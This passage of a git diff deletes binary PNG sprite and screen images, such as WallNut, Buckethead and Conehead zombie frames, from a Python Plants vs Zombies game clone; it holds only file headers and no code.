Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_6.png deleted file mode 100644 index 0cdb422860a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_7.png deleted file mode 100644 index f8dfc2338ea..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_8.png deleted file mode 100644 index 5c2c2f0a825..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_9.png deleted file mode 100644 index 757435a5824..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked1/WallNut_cracked1_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_0.png deleted file mode 100644 index 0f57fa2c5ba..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_1.png deleted file mode 100644 index 77834547660..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_10.png deleted file mode 100644 index 3aaecd73f2a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_11.png deleted file mode 100644 index ba221d878dc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_12.png deleted file mode 100644 index 902aad95f6a..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_13.png deleted file mode 100644 index 58a70aa60a5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_14.png deleted file mode 100644 index acd16127c40..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_2.png deleted file mode 100644 index 32e7df60213..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_3.png deleted file mode 100644 index 1462a5fd321..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_4.png deleted file mode 100644 index 4aa08ce738e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_5.png deleted file mode 100644 index c56b855ccf5..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_6.png deleted file mode 100644 index 5ea8219cfdc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_7.png deleted file mode 100644 index 6c5bd678d33..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_8.png deleted file mode 100644 index d68d405f3b7..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_9.png deleted file mode 100644 index cf18d79a956..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Plants/WallNut/WallNut_cracked2/WallNut_cracked2_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Adventure_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Adventure_0.png deleted file mode 100644 index 78c12fc12d8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Adventure_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Adventure_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Adventure_1.png deleted file mode 100644 index f2825cb2bc8..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Adventure_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Boom.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Boom.png deleted file mode 100644 index 5ac54a451fa..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/Boom.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/ChooserBackground.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/ChooserBackground.png deleted file mode 100644 index c112727440d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/ChooserBackground.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/GameLoose.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/GameLoose.png deleted file mode 100644 index 2ed83f12d96..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/GameLoose.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/GameVictory.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/GameVictory.png deleted file mode 100644 index 978d292f383..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/GameVictory.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/MainMenu.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/MainMenu.png deleted file mode 100644 index fe2a780828c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/MainMenu.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/MoveBackground.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/MoveBackground.png deleted file mode 100644 index d6dd1c24cdb..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/MoveBackground.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/PanelBackground.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/PanelBackground.png deleted file mode 100644 index 56fbb93b582..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/PanelBackground.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/StartButton.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/StartButton.png deleted file mode 100644 index 29268cab28e..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/StartButton.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/car.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/car.png deleted file mode 100644 index 037e6415350..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Screen/car.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_0.png deleted file mode 100644 index b5e44f9f469..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_1.png deleted file mode 100644 index e3dec19be60..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_10.png deleted file mode 100644 index c50bdfc77ce..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_11.png deleted file mode 100644 index d663d9da53b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_12.png deleted file mode 100644 index 2e9c62ed376..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_13.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_13.png deleted file mode 100644 index 9eadc664ec2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_13.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_14.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_14.png deleted file mode 100644 index cfd9bde2c96..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_14.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_2.png deleted file mode 100644 index f12a3d2612b..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_3.png deleted file mode 100644 index 77fdf25360c..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_4.png deleted file mode 100644 index da624e3ec5f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_5.png deleted file mode 100644 index a852b517411..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_6.png deleted file mode 100644 index 6217474ecd9..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_7.png deleted file mode 100644 index 6a2572c6959..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_8.png deleted file mode 100644 index 7060549c17f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_9.png deleted file mode 100644 index a2c89cc9238..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombie/BucketheadZombie_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_0.png deleted file mode 100644 index 0e44e7b1c3f..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_1.png deleted file mode 100644 index c617bfe6726..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_10.png deleted file mode 100644 index 6396d387771..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_2.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_2.png deleted file mode 100644 index 8bb876afd70..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_2.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_3.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_3.png deleted file mode 100644 index 1b2dd04a6a2..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_3.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_4.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_4.png deleted file mode 100644 index d4f5d2eb0bd..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_4.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_5.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_5.png deleted file mode 100644 index 16040120caf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_5.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_6.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_6.png deleted file mode 100644 index e2e1155247d..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_6.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_7.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_7.png deleted file mode 100644 index dfebc74e4fc..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_7.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_8.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_8.png deleted file mode 100644 index 96f73070512..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_8.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_9.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_9.png deleted file mode 100644 index e2cf2468e96..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/BucketheadZombie/BucketheadZombieAttack/BucketheadZombieAttack_9.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_0.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_0.png deleted file mode 100644 index 50d53da8223..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_0.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_1.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_1.png deleted file mode 100644 index ac1e59690c0..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_1.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_10.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_10.png deleted file mode 100644 index b3144aba122..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_10.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_11.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_11.png deleted file mode 100644 index 392d84b68cf..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_11.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_12.png b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_12.png deleted file mode 100644 index 9be9e34b0ab..00000000000 Binary files a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_12.png and /dev/null differ diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/resources/graphics/Zombies/ConeheadZombie/ConeheadZombie/ConeheadZombie_13.png b/Add Code 